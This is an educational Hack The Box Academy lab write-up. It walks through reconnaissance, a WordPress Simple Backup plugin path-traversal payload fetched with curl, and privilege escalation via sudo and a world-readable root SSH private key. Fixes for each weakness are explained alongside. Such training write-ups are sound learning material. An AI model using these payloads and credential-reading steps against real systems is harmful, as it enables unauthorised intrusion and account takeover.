HTB Academy

Getting Started — Lab Writeup

Public Exploits & Privilege Escalation

Author: Calm Ay (Rasaq Ayomide)

Date: May 28, 2026

Platform: Hack The Box Academy

Module: Getting Started

Difficulty: Beginner

Target 1: 154.57.164.64:30347 (WordPress)

Target 2: 154.57.164.77:31637 (SSH / PrivEsc)

---

1. Reconnaissance

The first step was to identify what services were running on the target. An initial Nmap scan on the default 1000 ports returned no results because the host was blocking ICMP ping probes. Adding the **-Pn** flag disabled host discovery and allowed the scan to proceed.

Initial scan (failed — no open ports on default range):

```
nmap -p- --min-rate 5000 -T4 154.57.164.64 -oN fullscan.txt
```

Fix — skip ping with -Pn:

```
nmap -p- --min-rate 5000 -T4 -Pn 154.57.164.64 -oN fullscan.txt
```

> **Finding:** Target was running a web server on a non-standard port: **30347**. Hundreds of other ports were open but returned 'unknown' services — indicating a shared/containerized HTB environment.

2. Service Identification

With the port identified, we curled the web server to fingerprint the application running on it.

```
curl http://154.57.164.64:30347
```

Findings:

- Web Server: Apache/2.4.41 (Ubuntu)

- CMS: WordPress 5.6.1

- Plugin: Simple Backup Plugin 2.7.10

3. User Enumeration

With WordPress confirmed, WPScan was used to enumerate valid usernames on the installation. Username enumeration is possible on WordPress due to author archive pages and the REST API.

```
wpscan --url http://154.57.164.64:30347 --enumerate u
```

Finding: Valid WordPress username discovered: **mrb3n**

4. Public Exploit Discovery

With the plugin name and version identified, searchsploit was used to search the local Exploit-DB database for known vulnerabilities.

```
searchsploit simple backup plugin
```

```
searchsploit -m 39883
cat 39883.txt
```

Finding: EDB-39883 — WordPress Simple Backup Plugin 2.7.11 — Multiple Vulnerabilities. Includes an unauthenticated arbitrary file download via path traversal.

Vulnerability Analysis:

The plugin's **download_backup_file** parameter uses PHP's **ltrim()** function to sanitize user input. This only strips leading dot, slash, and backslash characters. It does NOT sanitize mid-string directory traversal sequences. An attacker can bypass this by prepending a fake directory name (e.g. oldBackups/) before the traversal payload, causing the ltrim() check to pass while still escaping the intended directory. The correct fix would be to use PHP's **basename()** function instead.

5. Exploitation — Flag 1

The path traversal was exploited directly via curl. No authentication was required.

```
curl "http://154.57.164.64:30347/wp-admin/tools.php?page=backup_manager
&download_backup_file=oldBackups/../../../../../../../../../../flag.txt"
```

HTB{my_f1r57_h4ck}

6. Privilege Escalation

6.1 — Initial Access via SSH

Credentials for the target were provided by the HTB Academy lab. SSH access was gained to the box as user1.

```
ssh user1@154.57.164.77 -p 31637
# password: password1
```

6.2 — Lateral Movement: user1 → user2

After gaining a shell, sudo privileges were checked immediately. This is always the first step in Linux privilege escalation.

```
sudo -l
```

Finding: user1 had NOPASSWD sudo rights to /bin/bash as user2 — allowing a direct shell switch with no password required.

```
sudo -u user2 /bin/bash
cat /home/user2/flag.txt
```

6.3 — Privilege Escalation: user2 → root

From the user2 shell, standard privesc enumeration was performed. Root's SSH private key was found to be world-readable — a critical misconfiguration that allowed any user on the system to read and use it.

```
cat /root/.ssh/id_rsa
```

The private key was copied to the attacking machine, given correct permissions, and used to SSH directly into the box as root.

```
# On attacking machine (Pwnbox):
vim id_rsa        # paste key
chmod 600 id_rsa   # critical — SSH rejects keys with loose permissions
ssh root@154.57.164.77 -i id_rsa -p 31637
cat /root/flag.txt
```

7. Key Takeaways

Non-standard ports: Always scan all 65535 ports. Services are commonly moved off default ports in CTF and real-world environments.

Plugin fingerprinting: In WordPress assessments, enumerating plugin names and versions is critical. Outdated plugins are a common attack surface.

ltrim() is not path traversal safe: Using ltrim() to sanitize file paths only strips leading characters. Mid-string traversal sequences bypass it. Use basename() instead.

sudo -l is always step one: After gaining any shell, always check sudo privileges first. NOPASSWD entries are instant privilege escalation vectors.

SSH key permissions: Private SSH keys must never be world-readable. Any user that can read /root/.ssh/id_rsa can log in as root.

Unauthenticated exploits: Not all exploits require credentials. Always check whether a vulnerability is pre-auth before assuming login is needed.

Tools Used

Nmap, curl, WPScan, searchsploit, SSH